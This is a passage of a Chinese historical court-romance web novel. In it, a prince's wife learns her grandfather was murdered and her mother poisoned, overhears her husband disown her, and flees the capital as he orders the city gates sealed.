十二岁那年,他因命格之说离宫,远去西北。为掩饰身份,他带上一张青铜鬼面,与钟家一同镇守边关。 在将军府,他第一次见到了屏风之后的聂相宜。小小的身影躲在屏风之后怯怯地张望,以为躲得天衣无缝,影子却尽数投射在琉璃屏风上。 她如同一只极易受惊的猫,一看见他脸上的鬼面,吓得瞪大了眼睛,忙缩回了屏风。 一有脚步声响起,她便提着裙子慌慌张张地逃了。 自屏风之后,飘落一张粉白的手绢,染着淡淡的栀子清香。 谢知清楚地知道,私藏姑娘贴身之物,并非君子所为。可他还是那样做了。 他捡起那方手绢,收进了衣袖之中。他想,也许有一天再见,能还给她。 自此,他总能在身后瞥见那瘦小的身影,悄悄地躲着,自以为掩饰得极好,只小心翼翼地伸出个毛茸茸的脑袋,探头张望。 每当谢知回头,想要将手绢还给她之时,她总比猫逃得还快,提着裙子磕磕绊绊也不敢回头。 后来,那张手绢始终被他贴身带着,直至回京,连同那张青铜鬼面,一应封存于宫中。 再见她的时候,谢知心中也说不出来是何感受。她胆子比以往大了很多,却还是和从前一样爱跟在他身后。 初春池上清集,她就那样俏生生地站在阳光之下,脸上扬着明快的笑,“殿下,你还记得我吗?” 谢知想,如何会不记得?他还有一方手绢未还。 只是他还未曾开口,又听得少女急急补充,“景乾十七年的上元节!我们见过的!” 谢知忽地便冷了脸。 他知道,是她认错了人。他的上元节,向来是和神策卫一同度过的。 更令谢知心生怨恼的是,她根本不曾记得自己。一切的情意,不过源于聂相宜的错认。 如今她已经知道真相,又该如何呢?她甚至还在怨他为何不早些戳破。 谢知的沉默如同当下寂寂夜色,笼罩在阴翳的黑暗之中。而聂相宜在犹豫之后怯怯开口,“殿下。” 谢知仿佛听到了她对自己的宣判,“我明日……可以去见一见太子殿下吗?” 至少要将面具要回来,花灯还回去。那张面具,本就不是送给太子的。 就这般迫不及待想要找他了吗? 腕骨上紧握的力道陡然变大,谢知转身看她,低垂的眼眸带着如夜色般化不开的阴翳,“阿兕,你别忘了,你我才是名正言顺的夫妻。” 无论他们当年情意如何,如今他才是她身边那个的人。 聂相宜只觉腕骨几乎被他捏碎,疼得下意识挣脱。他这话让聂相宜有些摸不着头脑,“我知道啊……可是……” 谢知只冷冷说道:“不许去。” “可是……”聂相宜还想说些什么,便被谢知决绝的声音打断, “不许再见他。” 聂相宜瘪了瘪嘴,她还想将那盏花灯还回去呢!小心翼翼地当成谢知的回礼保存了那么多年,结果告诉她不是他送的! 只是谢知的情绪看起来不算太好,她亦只能闷闷作罢,“哦……我知道了……” 很不情愿的模样。 谢知厌憎自己的卑鄙,厌憎自己只能以强硬手段将她留在身边。更厌她在意的从不是自己,厌她能这般轻易抽离,奔赴他人。 几近一夜无眠。 翌日便是故皇后祭辰,按照规矩,所有王室宗亲都将出席祭典,将所抄经书超度焚烧。 聂相宜与谢知同行,伴随着僧人低沉浑厚的念词,高高燃起的熊熊火光将她的脸映照得通红。 她今日心下总觉难安,眼皮跳个不停,像是有什么大事即将发生。 她能感觉到太子的目光似有若无的飘向这边,谢知亦是。 偶有几次两人目光在空气中撞上,太子似笑非笑地朝她挑眉,看得她莫名其妙一头雾水。 而身旁的谢知却默然捏住了她的手腕。 “皇上!不好了皇上!”就在祭典即将完成之时,内监尖利的声音突然闯入,一脸慌张地叩首。 皇帝向来重视故皇后祭典,被人骤然打断,脸上顿时露出不悦之意,还未开口斥责,便听得内监连连磕头请罪。 “西北来报!安西大将军听闻坊间与逆党勾结的传闻,为证清白,自刎而亡!” “什么!” 聂相宜几乎顾不上礼制,三两步急急走上前去,一把攥住了那内监的衣领,“你胡说八道些什么!” 怎么可能! 她明明才收到了外祖的来信!心中直言一切安好,外祖还曾为此事宽解于她!怎么会因此自尽! 一定是讹传! 她鬓边的银色步摇因着急而撞得叮铃作响,面色惨白得近乎透明,只喃喃自语道:“不可能!一定不可能!” 钟灵玉亦是摇摇欲坠,满眼不可置信,“公公!哪里传回来的消息啊!会不会是误传!” “鄯州八百里加急,怎会有误!” 聂相宜只觉天旋地转,周围的一切好像失去实感,灵魂如同置身事外地抽离开来,木然得像一个局外人。 她愣愣地看着眼前火光滔天,耳边只能听到熊熊燃烧的声音,其他人的嘴一张一合,却只剩下尖锐的啸音。 “阿兕!”“相宜!” 惊呼声在几处同时响起,祭典乱做一团,聂相宜软软倒在谢知怀中。 聂相宜做了一个冗长纷杂的梦。 梦中她还是少时,初到鄯州的时候。那时她胆子极小,什么也不敢做,只怕别人说她坏了规矩。 可外祖总是拍拍她的头,“阿兕大胆去吧!一切有外祖呢。” 聂相宜一开始并不明白这句话意味着什么。 可就连她摔碎了外祖最心爱的古董花瓶,外祖也只会笑眯眯地夸她摔的声音响亮。 她以为外祖会永远在她身后的。 梦里那个总是笑眯眯的老头白了头发,多了皱纹,在她面前逐渐变成一个大大的虚影。 他的脖子上还有一个巨大的豁口,往外涌着血,将梦中染得一片鲜红。他还是笑着揉揉聂相宜的头。 “以后阿兕要自己照顾好自己啦!” 他的声音在梦中一点点变得虚无而缥缈,“外祖这就要走了……” “外祖别走!外祖……别走……”聂相宜哭着摇头。她哭不出一滴泪来,只伸手努力抓着那虚幻的泡影,却怎么抓也抓不住。 “外祖!” 她猛然睁眼,脸颊一片冰凉。 谢知站在榻边,被她紧紧抓着手臂不曾放开。 “殿下!外祖呢!是噩梦对不对!”她几乎是祈求着看向谢知,祈求他给自己一个答案,“一定是我刚才做了个噩梦!” 谢知无声的长叹,躲避她的目光中带着不忍,声音晦涩而艰难,“安西大将军……的确已经…” 聂相宜如遭雷击。 她翻身下榻,几乎是不管不顾地朝外头跑去。她光着脚踩在地板之上,未曾察觉半分冬日的寒凉。 谢知拉住了她,“阿兕,你冷静些。” “殿下!我要回鄯州!我不信!我真的不信!”聂相宜挣不开他的手,只眼眶通红地看着谢知,眸中满是泪光。 “我不信外祖就会这样离开我!我要送去送他最后一程啊!我要回去……让我回去……” 谢知将她拉入自己怀中,指尖顺过她的发间,动作轻柔而缓慢,像是怕再次惊了她。 带着熟悉气息的怀抱包裹着她,让她终于再也忍耐不住,失声痛哭起来。 “我连他最后一面都未曾见到!你让我怎么相信呢……殿下,我想回去见外祖最后一面啊……” 上次京城一别,竟是祖孙最后的见面。 胸前温凉的泪沾湿了大半的衣物,就连心脏仿佛能尝到其中哀苦。谢知抿了抿唇,“阿兕,你不能回去。” 聂相宜猛然推开了他。 在她既哀且怨的目光中,谢知欲言又止。 他没办法告诉她,安西大将军的死并非自尽,若她出城,下一个也许死的,便会是她。 权利相争,没有人会留手。 “殿下为何不让我回去?”聂相宜目光空洞地望向谢知,语气带着无力的飘忽,“还是你也知道,外祖的死,绝不是自尽。” 谢知瞳孔骤然紧缩。 她不够了解时局,不够了解朝政,但她却足够了解外祖。那个在战场上经历无数厮杀的老头,绝不会是轻言自尽的性子。 钟家并非到了山穷水尽的地步。 更何况,那日交给自己的信中,字迹挥洒自如,力透纸背,绝非心中向死之遗言。 他一定是被人害死的。 聂相宜有些茫然地看着面前谢知的脸。原来从她嫁给谢知起,便逃不开这场权力的斗争了。 是皇帝?还是太子? 亦或是,面前的谢知。 第44章 为着钟岐突如其来的死讯,皇帝先行回宫安排诸多事宜,由裴珏带领大部分神策司随行护卫。 而太子与谢知则被他留下,待得为故皇后上完了最后一支香,这才启程。 回程的马车摇摇晃晃,顺着山路盘旋而下。聂相宜面色苍白的坐在马车之中,不知在想些什么。 对于皇帝来说,钟岐的死或许仅仅意味着一个良将的消亡,而对于聂相宜来说,却是真切的丧亲之痛。 从今之后,在无人会对她那样好了。 她什么也没有了。 她的目光空洞而麻木,一双向来灵动的眼睛布满了血丝,如同一双泥人的窟窿眼,连眼泪都是奢侈。 “为什么死的会是外祖呢……” 她心中忽地生出悔意。 若非当时不曾嫁给谢知,外祖还会因此而死吗? 她怨恨自己的任性,怨恨自己当日为何不听劝阻,怨恨自己蠢笨,不懂朝政,连凶手都不知道是谁。 连恨都没得恨。 愧疚与怨恼像一把生锈的钝刀,在她心上一点点地磨。她怨不了别人,只能怨恨自己。 马车外的谢知安排好回程的神策卫一应事务,转身欲回马车照顾聂相宜。 他站在马车之前,正欲掀帘进去,却忽地听见她的声音自马车内传来。 “含絮你说,如果当初我没有执意要嫁给殿下,外祖还会因此而死吗?” 她的声音轻飘飘的,如同晨曦中即将消散的雾气,无力而飘渺。 谢知的动作忽地一顿。 “夫人怎会如此想?”含絮亦红着眼圈,抽泣着劝慰她,“老将军都说了,不管夫人嫁与不嫁,这些都是躲不开的!” “不是的,那一定是外祖宽慰于我的……”聂相宜喃喃地摇头,“灵玉表姐明明早便给我说过这些!是我任性……是我蠢笨……都怪我……” 她多么希望时光可以倒流,她一定不嫁谢知,只求还给她一个完完整整的外祖。 “姑娘千万不要自苦!此等人祸,与姑娘何干?”含絮紧紧握住她的手,“若是老将军还在,也不愿见姑娘这般愧疚!” “可我甚至不知道凶手是谁!” 她近乎偏执地将一切揽到自己身上。希望时光倒流的愿望如同刻舟求剑,仿佛这样便能救回她的外祖。 “若是能够重来,我……不嫁殿下了。” 谢知的手紧紧攥着帷幕,直到指节泛白,骨节发出咔的一声脆响,如同琉璃破碎的声音。 真相戳破之后,她果然后悔了。心中生怨,才会悔。 他忽地放开了帷裳,转身离去。 山间起了一层蒙蒙的雾,渐渐有淅淅沥沥的细雨,带着冬日的寒凉忽然降临,落在谢知肩头。 他抬头望了望灰败的天色,生平第一次觉得茫然。 “嗖”的一声,有利箭刺破雨滴。 马车突兀地戛然而止。 聂相宜掀起帷幕朝前望了一眼,弥散的雾气之中,只见黑影簌簌闪过,神策卫的黑甲发出索索的震荡之声。 她眼皮一跳,不祥之感再次涌上心头。 “夫人。”凌竹突然出现,带着数个神策卫将她的马车围得严严实实。 她神色有些紧张,“发生了何事?” “前面有逆党现身,夫人万事小心。” 又是逆党。最开始的流言便是因逆党而起。 这些逆党的目的到底为何,她们会跟外祖的死会有关系吗? 她记得上次,这些人的目标是贵妃。今日贵妃早已随皇帝回宫,余下不过皇室宗亲而已。 聂相宜顿时握紧了衣角,“这回是冲着谁去的?” “逆党往太子的车架去了,三殿下眼下也带着神策卫赶往那边去了。” 聂相宜一怔,为何这次会是太子? 若是逆党,有此大好机会,不针对皇帝,反倒是一直盯着贵妃与太子。 烟雨蒙蒙之中,聂相宜隐约听见不远处的打斗声传来,兵器碰撞的声音冷冽铿锵,令人胆寒。 错综复杂的局势如同山间迷雾,只让聂相宜觉得心中不安,只怕下一刻,谢知也落得和外祖一样的结局。 她的衣角几乎被她搓出褶皱,“不行,我得去看看!” 说着她一把撩开马车帷裳便欲跳下车去。 “夫人不可!”凌竹挡在她面前,“殿下吩咐属下,一定要保护好夫人!夫人还是静心呆在马车上为宜。” “我外祖才因此死去!你叫我如何静心!”被拦住的聂相宜心下生急,而后才发觉自己语气似乎重了些。 她红着眼眶看向凌竹,声音带着哭腔,语气近乎祈求,“凌竹大人,有阳秋与这些神策卫在,我不会有事的。你让我去看一眼,哪怕让我安心些,好吗?” 与此同时,一支利箭破空而来,嗖地一声刺破太子的车架, 柔软地帷幕骤然扬起,闪着寒芒的箭刃几乎擦着太子面颊而过,重重钉在车壁之上。 数个灰白的身影出现在迷蒙的雾气之中,恍如憧憧鬼影。 “杀了谢承忻!以血祭挽月!” 脚下的泥浆飞溅,刀光闪烁刺眼的厉芒,一柄三环大刀叮当作响,带着凌厉的寒风,直扑向谢承忻面门。 他周围顿时有数个暗卫现身,和莫九一同抽出长枪抵挡,与前仆后继的刺客缠斗在一起。 谢知只在一旁冷眼看着。 他们的目的很明确,只有太子。 这些刺客对地形的利用极为熟练。眼看山中起起雾,视线不清,兼之下雨泥泞,这才现身动手。 不仅有数人贴身朝着谢承忻动手,林中更有数只暗箭嗖嗖射出,直奔谢承忻而去。 与猎场对着皇帝射出的那几箭不同,此刻的每一箭都带着杀伐果断的决心,势必要取谢承忻性命一般。 “以血祭挽月……”谢知心中默念这几个字,心中忽有疑窦丛生。 如果没记错的话,故皇后的闺名,正是挽月。 直呼故皇后闺名,乃是大不敬之罪。这般亲昵的称呼,是只有相熟之人,方才敢叫的。 这些人与故皇后是什么关系? 如果他们曾于故皇后有旧,那么太子明明是故皇后亲子,他们为何又要对太子动手,还要以血祭之…… “三弟,若神策卫再不出手,本宫今日便要死了。” 谢承忻扫了一眼周围的神策卫,平日里精兵猛将的他们,此刻仿佛对这寥寥数个刺客毫无招架之力。 他似笑非笑看了谢知一眼,这般紧张境地,他似乎毫不在意,甚至还有闲心调侃。 “这般针对于我,莫不是在为三弟铺路?” 又一只利箭朝着谢承忻而来,被莫九吃力挡下。 “皇兄,神策卫已经在出手了。”谢知抬眸看向他,不卑不亢地回应道,“鞭长莫及。” “好一个鞭长莫及。”谢承忻嗤笑一声,“本宫倒不信,威震朝廷的神策卫,会是这些草包样子,连逆党一招都抵抗不住。” 谢知神色不变,“皇兄,如今你才是神策司指挥使。” 与他何干。他只需要冷眼看着便是。 眼见谢知摆明了是想放任自流,借逆党的手了解他。谢承忻冷冷一笑, “三弟你说,为何这些逆党只想叫我死呢?今日若是三弟安然无恙地回宫,父皇会不会疑你?” 谢知神色微微一凝,并未动作。 “逆党想我死,你也想我死。一举两得了。”谢承忻见他犹豫,只轻轻扬唇,笑容诡谲,“三弟你猜,若我今日真死了,她会不会念我一辈子?” 谢知目光陡然一凛。 他知道聂相宜有多在意那次相遇。少年时心心念念之人,或许早在时间的流逝中成了一抹皎白的月光。 她方才发现与她相遇的人是太子,若他此刻死去,一定会成为心上再也抹不掉的刻痕。 几乎只是犹豫了一瞬,长剑骤然闪过寒芒,“铛铛铛”数声冷硬的响,即将砍中谢承忻的大刀歪了毫厘,落在他的肩上。 “太子殿下!” 谢承忻顿时痛楚的闷哼一声,腥稠鲜红的血自肩上汨汨留下,浸透衣衫。 “三弟,你故意的。” 他面色愈发苍白,露出近乎透明的灰败。却依旧扬着鬼气的笑,不动如山地看着谢知。 谢知不置可否,冷眸觑他,“逆党凶狠,与我何干?” 纵使不能让他死,却也不想叫他轻易这般好过。 “有没有搞错!谢知为什么会出手!”一声粗粝的呼喊,逆党见谢知出手相救,手上动作一滞,连眼中都带着不可置信的神色。 他连连退后,躲避谢知的剑锋。 神策卫见谢知出手,亦出手将逆党击溃。颓势已显,失去了刺杀的最好时机,逆党近乎溃散,往林中而逃。 “留活口。”谢知冷声吩咐道。 他话音刚落,只听得“噗嗤”一声皮肉绽开的轻响,莫九毫不留手地将长□□入了面前逆党的胸口。 “三弟,你说晚了些。”谢承忻故作歉意,目光却森然地看着被染得鲜红一片地泥泞地面。 他猜,这些逆党一定也知道那个秘密。 谢承忻神色深沉,看着其余逆党如同飞鸟还林,消散在雾气之中。 “多谢三弟相救了。” 伤口上传来地剧痛让他咳了一声,他却依旧面不改色,“虽知三弟并不情愿,可惜……你再不情愿,还是得救我啊。” 说着,他故作惋惜地摇了摇头,“三弟,你还是在意了。” 他甚至没有提及聂相宜的名字,便足够让谢知出手了。 他的颊边笑容带着胜券在握的笃定,“不想三弟这样清冷孤高的人,也会有在意谁的时候。早知道,便不对钟岐下手了,该对聂相宜下手才是。” 谢知眸色沉沉,“果然是你下的手。” “当然是我。”他毫不避讳,笑容轻佻而自得,“说起来,还是三弟害死了他。若非这神策司被三弟把持得密不透风,我又何必动钟家?人总不能太贪心啊。” 冬日的冷风一吹,谢承忻猛地剧烈咳嗽起来。肩上的伤因咳嗽的抖动流出了更多的血,让他脸上露出一种近乎鬼气的妖异苍白。 “只是我有些后悔。早知如此,死一个钟岐实属下策。还是聂相宜,更有趣一些。” 他丝毫不掩眸中的恶劣,谢知第一次觉得这样的神色,令他生厌。 自小到大,他每次抢走自己的东西时,都会露出这样的神色。恶劣的、挑衅的、炫耀的,等待着自己因失去而失态。 他从不在意。 但他知道,他还想对聂相宜下手。 谢知的眸色逐渐冷如霜雪,几乎要将人冻住。 “一想到三弟在意的人,惦念我多年,我便觉得莫名兴奋。” 他唇边呼出热切的气息,眼中闪烁着兴奋的、诡谲的光,“三弟,为人替身的滋味,可是好受?” 这么多年来,他日日恪守着那个秘密,为人替身之感叫他如鲠在喉,难以咽下。 他哪里都比不上谢知。 原来谢知也以同样的方式,抢着属于他的东西。这个念头让他的心中忽得生起微妙的平衡与快意。 谢知的指尖紧紧蜷进了袖中。 他心中说不出是何感受,怨恼也好,愤怒也好,他绝不会放手。 “在意?”他冷眸看向谢承忻,目光中是一如既往的淡漠,语气冰冷而不耐。 “行事无矩,刁蛮任性,我厌她已久。” 四周陡然之间静默无声。 山间的雨来得愈发冷冽,让人无端打了一个寒颤。 “厌她?” 谢承忻目光一凝,唇边的笑容逐渐扩大,乃至于笑出了声。 他笑得连肩膀都在轻抖,眉眼弯成了一条线,“想来也是,像三弟这般冷心冷清的人,何曾真正在意过谁。想来前番种种浓情蜜意,皆是做给钟岐看的把戏。” 他俯身看着谢知,笑容意味深长,“三弟,你在意的,其实是钟家的兵权吧。” 他的语气颇为怪异,倒像是有意引导着他承认一般。 谢知并未回答,只是冷冷看着他,“皇兄似乎看起来更在意。” 谢承忻脸上扬起的笑容变得古怪而诡谲。他的目光穿过谢知,落在他的身后。 “聂姑娘,你可都听到了?” 谢知瞳孔骤然紧缩,猛然回头看去—— 作者有话说:到文案了 第45章 不远处马车与雾气的掩映之下,露出一抹灰白的衣角。聂相宜面色苍白的撑伞走出,在雨中定定地望着他。 细雨如丝,寒风扑面。她裙边还沾染着匆匆而来的泥泞,鬓边的发被风扬起,沾染着雨水的湿润,衬得她身形愈发单薄,形容萧瑟。 她总是活泼明快的,生命力旺盛得像只野猫。谢知从来没见过她这般郁郁自苦的模样。 “听见了……”她的声音轻得像眼前的雾,让人无端觉得有快要握不住的惶恐。 那句“厌她已久”,她听得真切。 她分明撑着伞,却好像被这场冬雨浇了个透彻,无端令她打了个寒颤,连牙齿也忍不 住战栗起来。 她忽然想起,谢知仿佛从未对他说过喜欢二字。 从一开始与谢知的相识,便是她一头热追着谢知跑。她原以为,她与谢知还有曾经上元节互赠礼物的情分,如今戳破,连这一点点的缘分,都只是她认错人后的一厢情愿。 谢知讨厌她,实在是再正常不过的事情。 行事无矩,刁蛮任性。她的确便是这样的人。 难怪他对自己那般冷淡,难怪初成亲时,他不愿与自己圆房。她的满腔热烈,在谢知眼中,敌不过一个厌字。 原以为他是生性淡漠,却不想他是讨厌自己。 她喉头忽地像是被噎住,什么话也说不出来,胸口只觉闷闷地发疼。 那痛并不真切,只如同一把断锯,在心上来回地拉扯,一点点地磨。 “阿兕……”谢知的声音几乎低哑得不成样子。 他第一次真切地感觉,似有什么东西好似雾气弥散,在他面前极速地消失,再也握不住。 聂相宜的萎顿与失落如同冬日里枯败的花枝。谢知却不知该如何开口言说。 他的声音让聂相宜回神,颊边有冰凉的意味传来,她这才惊觉自己落了泪。 当真相就这般摊开在她面前时,她忽然觉得好没意思。她只觉得疲惫而愧疚。外祖新丧,她却在此耽于儿女情长。 她什么话也不想说,指尖拭去了泪,转身想走。 “聂姑娘且慢。”谢承忻的目光像是在看一场好戏,他突兀地开口叫住了聂相宜。 他如何看不出来,聂相宜已然对谢知心生芥蒂。 怎能不给这样戏再添一把火呢。 他的笑容带着几近恶劣的愉悦,在聂相宜回头看他之后,他缓缓开口,“虽说姻缘二字,是如人饮水冷暖自知。但三弟冷心冷清,与姑娘实是不般配的。” 谢知神色冷若冰霜,冷眼看他,“父皇亲自赐婚,我二人般不般配,也不是皇兄说了算。” “多谢殿下提点。”聂相宜眼神空洞而茫然,施以一礼,并不欲与他多言。 “念在你我二人曾有一面相交的缘分……”谢承忻扬唇笑了起来,“聂姑娘,我告诉你一个秘密如何?” 他意味深长的笑容让谢知心头无端一紧。而聂相宜只是两眼空空地看着他,等着他接下来的话语。 谢承忻眼神摒退众人,“聂姑娘可知,文安夫人的真正死因?” 谢知神色陡然锋利起来。 谢承忻都知道些什么? 他不由得看向一旁虚弱的聂相宜,她已然经历丧亲之痛,若此时告诉她真相,必定是雪上加霜。 更何况,此刻的她,对他本就诸多误会怨怼。 “太子殿下失血过多,危在旦夕。”谢知冷声截断谢承忻的话,“神策卫!护送太子殿下回东宫。” 谢知的反应让谢承忻笑出声来,“谢知,你果然知情!” 莫九只在一旁摒退神策卫。 “我母亲的死因?”聂相宜闻得此言,眸中重新聚起微光,震惊又焦急。她骤然三两步上前,“她不是忧思成疾,死于急症吗!” 那时她才六七岁,看着母亲一日日枯瘦下去,却不知道为何。直到丧钟响起,下人们为她换上素白的丧服,要她哭出声来。 “我不想哭,我想要母亲。” 少时的她并不知道死亡意味着什么,只知道自那之后,她再也未曾见过她。 在日复一日的等待之中,她终于明白了,原来这就叫死亡。 “若是忧思伤怀,以致急症,又怎会日日吐血?”谢承忻颊边的笑带着森然的鬼气,“文安夫人,乃是贵妃指使江氏,下药毒杀的。” 聂相宜脑中一片嗡鸣。 “江云娥……”她口中喃喃,如同嚼骨一般将这个名字狠狠咽下,而后不可置信地死死瞪着眼睛,“怎么会是贵妃!怎么会是她!” 母亲与贵妃无冤无仇!为何会遭此毒手! 外祖也曾猜过,母亲是否是遭了江氏毒手。可他们远在鄯州,回来奔丧之时母亲已然下葬。无凭无据,又有母亲的脉案佐证,最终只能不了了之。 可她从来没想过会是贵妃的主谋。 也就是说,她心心念念所嫁之人的母亲,竟是自己的杀母仇人! “为何!为何!”她胸中好像被一块大石狠狠压着,几欲喘不上气来。她瞪大了眼睛,呼吸急促而慌乱,“为何贵妃要对我母亲下手!” “我亦不知。” 意味深长的笑容在此刻戛然而止。马车的幕帷被莫九放下,留下相顾无言的谢知与她。 她脚下踉跄,有些记不清自己是怎样回到的马车。 接二连三的冲击让她脑中一片茫然,甚至不知该以怎样的心情去面对,怨与恨交杂着,几乎将她撕成碎片。 谢知是同她一起回的马车。 “殿下……”她艰难地开口,喑哑的声音如同干涸的河床,“你早就知道了,是不是。” 谢知不知该如何回答。他紧紧抿住了唇,“是。只是……” “那为何不告诉我?”她打断谢知的话,质问的声音带着难以压抑的颤抖,“为什么!为什么不告诉我母亲的真正死因!” 谢知说不出话来。 他没法告诉她,是因为他的私心。杀母之仇这样突兀地横亘于二人之中,真相一旦被戳破,等待他们的便是死局。 可笑的是他自以为运筹帷幄,却不能阻止真相在她面前被戳破。 从一开始,他们的感情便建立在谎言之上。 “我知道。”聂相宜自嘲地扯了扯唇角,“你是怕外祖知道了母亲的死因,会因贵妃迁怒于你。” 毕竟,他在意的,只有钟家的兵权。 说来说去,她不过是一颗棋子。 她的那些欣喜,那些热切,在即将嫁与谢知时的那些欢喜与担忧,在现在看来,多像一个笑话。 “并非如此。”谢知欲言又止,“我娶你并非……” “都不重要了。为了平息流言也好,为了钟家兵权也罢,都不重要了。” 聂相宜疲倦地闭上了双眼,声音像雾气消散,“谢知,我们和离吧。” 为了外祖,为了母亲,也为了她自己,仿佛都没有继续下去的必要了。 外头的雨忽地停了。 谢知的手紧紧蜷起,指节几乎被捏得发白。终究还是落到了这一步。 “不可能。”他的声音晦涩而坚定,“聂相宜,你休想。” 他曾放手过许多东西,这次,他绝不可能放手。 聂相宜只是沉沉地闭着双眼,靠着车壁的边缘,恍若未闻。 马车狭窄的空间内,二人像是隔着一条银河。 待得到了府邸,已是深夜。 皇帝惊闻太子因逆党受伤颇重,不顾夜深露重,宣谢知入宫觐见。 他看了一眼聂相宜木然的神色,似是欲言又止。终究还是来不及说些什么,转身入了宫。 聂相宜转头回了对面自己的院子。 自她嫁给谢知之后,这边的院子便疏于打理了。 就在不久之前,外祖还在院中晨起练枪,在屋檐下喝茶观鹤。那对白鹤是延年益寿的兆头,可外祖却就这样没了。 聂相宜吸了吸鼻子,只觉眼眶发酸。初冬的天已然很冷了,冷得她不知该怎么办才好。 她缩进被窝,整个人蜷成一团,也不觉得暖和。她冷得流了泪, 顺着鼻尖落到枕衾之上,洇开一团泪痕。 她不知道她为何而哭,她只是觉得,她有些想母亲,也有些想外祖。 她什么都没了。 聂相宜不知自己是怎样睡着的,这一觉仿佛睡得很沉,又仿佛并未睡着。醒来时脑中一片茫然地空,看着窗外的人影怔怔地出神。 “夫人,是殿下。” 含絮小声地提醒,“昨夜殿下回来时已是深夜了。听说夫人回了这边院子,便过来了。只是怕惊了夫人休息,殿下一直在门外等着,直到现在。” “嗯……”她的声音带着浓浓的鼻音,像是风寒的症状。她像是自嘲地笑笑,“他何必如此。” 谢知听到屋内有隐约的动静传来。他在门外站了半夜,夜里锦衾摩挲,她总是翻身,睡得极不安稳。 是他没保护好她。 聂相宜起床拉开了门,果然在门外看见了谢知。他永远都是那般如竹似玉的模样,即使整夜未眠,也脊背挺直,只有眼下一点乌青而已。 对比起来,她到更像那个整夜未眠的人。 “阿兕。”谢知开口,声音干哑,“我们回家。” 聂相宜似乎没有力气与他多说些什么,并不看他,只默然与他回了对面宅邸。 “昨日你听见的那些……”谢知抿着唇开口,“并非是我真意。” “殿下想说什么?”聂相宜这才抬头,目光直直地看着他,“殿下是想说,那些话只是逢场作戏之语,还是太子的刻意构陷?” 她这般直接明晰,倒叫谢知不知该说什么好了。 “我曾真心想要帮助殿下,哪怕是借外祖的势。可若是真心被利用,那便是我对不起外祖。” 聂相宜轻摇着头,“殿下,我是个蠢笨之人,局势复杂,我分不清什么是真,什么是假。也不想去分清了。” 话已至此,亦不必多言。 谢知神色逐渐冷了下去。 神策司还有公务要忙。他并未再说其他,离开的时候,只是一字一顿地说道, “我会保护好你的。” 聂相宜抬头,竟在他一向清冷漠然的眼中,看到了近乎偏执的情绪。 直到他离开,聂相宜才明白他口中的保护是为何意——凌竹又守在了门口。 “含絮,取纸笔来。”她吩咐含絮。 “凌竹大人,请将此务必交于殿下手中!”她将手中信封交到凌竹手中,语气郑重,在凌竹无奈的目光中支开了他。 而后她转身,毫不回头地坐上了离京的马车。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 45-50 第46章 那是一封和离书。 当凌竹将它送至谢知手中时,他仍在神策司忙于追查逆党下落。连日的忙碌让他疲惫已极,却难以抵消他心中的烦乱。 他甚至有些不敢面对聂相宜,怕再次从她口中听到那决绝的二字。 但她有很多办法可以告诉自己她的决定,正如这封和离书。 聂相宜的字迹清晰地落在信笺之上,墨迹犹未干透。 她的字迹算不得娟秀,带着几分西北之地的硬朗,可见下笔时的锋利与决绝。 只是在那一字一句的书写之中,笔迹逐渐变得软弱,有湿润的泪痕晕成一圈圆,落在墨迹之上,洇出一团看不清的黑雾。 即使如此,她仍在落款处毫不犹豫地写上了她的名字,聂相宜。 谢知将和离书紧紧攥在手中,掌心的力度几欲将其捏得粉碎。他眸中透着浓浓的寒气,冷声问道:“夫人呢?” “应该……应该还在府中……” “备马,回府!” 在谢承忻眼中,谢知向来是漠然冷静到乃至虚伪的,他总是端着一副清冷自持的架子,如同神佛无情,对一切都无动于衷。 他终于如愿以偿地看到了谢知的失态。 虽不知信中内容,但他眸中乍然之间掀起的滔天巨浪,足以让谢承忻得意了。 “小裴大人猜猜?那封信中写了些什么,能让我们一向面不改色的三殿下,如此匆匆离去?” 裴珏神色微动。 他虽不知日前发生了什么,却知钟岐的死,一定给聂相宜带来了不小的打击。 而谢知的失态,一定与聂相宜有关。 他面上不由生出忧虑之色来。 谢承忻看着他这般模样,不由冷嗤了一声,“小裴大人,钟岐如今已死,谢知手中筹码已无。我劝你,考虑清楚。” 谢知回府的时候,府中静悄悄的一片,不见人影。 心中像是已经有某种预感,他只觉心头像是无端塌陷了一大块,陡然空落落地一片,茫然得令人无措。 “阿兕?” 没有人回应。 “夫人刚刚还在府上的!”凌竹骤然色变。 “去找。”谢知的神情如同山雨欲来的天色,平静无波的眸色之下已然暗潮翻涌。 他找遍了府中里里外外,连对面的宅邸也找过了。西施还在,白鹤还在,聂相宜却不在了。 没有凌竹的阻拦,聂相宜想要逃出这里,实在轻松。 谢知的神色冒着寒气,冷声吩咐,“查封永宜侯府,不许任何人进出!” 她终于是想逃了。 她对他的感情,本就源于一场认错人的误会。如今真相大白,她本应后悔的。 更何况,文安夫人的死因与与钟岐突如其来的死亡,更如同一剂要命的催化,几乎再无转圜之地。 他只能强留。 凭什么她可以说离开就离开。凭什么她可以在打破他一切清冷自持的虚伪面具之后,可以这般轻易抽身。 可笑世人皆觉他无情无欲,连谢承忻也曾这样认为。可只有他自己知道自己的虚伪。 什么克己复礼,什么清冷自持,不过是个笑话。 他若是想要,那便一定会死死抓住。 “聂相宜,原是你先招惹。” 谢知翻身上马,冬日的冷风将他的衣袂吹得猎猎作响,眸中满是凌冽之意。 “通知神策卫,封禁城门!若有夫人消息,即刻来报。” 他策马疾驰,转身去了城西。 城西的城门,是出城去往鄯州的必经之路。她若想走,一定只有鄯州。 马车一路驶过,眼见便要出了城门。穿着黑甲的神策卫忽地出现,长矛一指,便将众人拦了下来。 “怎么回事?”聂相宜皱眉张望,“方才还好好的,怎得城门忽地关了?” 她心中不觉怪异,总不能是谢知派人前来拦她的吧。 只是转瞬她便觉是自己多想,谢知向来公私分明,若要拦她何必这般劳师动众。 更何况,谢知没有拦她的理由。 既然不喜欢,如今外祖已死,和离便是最好的去处。 心中再次传来钝钝的痛,扯得她呼吸都生疼。她嘲笑自己没出息,亲耳听见他说着厌恶自己的话,自己竟还这般放不下。 “姑娘,听说是在盘查晋王逆党,想来无事的。”不多时,含絮去打听回来了。 聂相宜唔了一声,并未放在心上,“想来应无大碍,等着依次盘查通过便是。” “可是奴婢有些担心……”含絮面上露出些忧虑之色来,“如今正值多事之秋,逆党作乱总不太平……呆在京城还好些,若是出了城,碰上逆党可怎么好。” “怕什么。也不是冲着咱们来的。”聂相宜撇了撇嘴,“再不济还有阳秋呢。” “可……”含絮似乎还想再说些什么,却被聂相宜的话堵了回去。 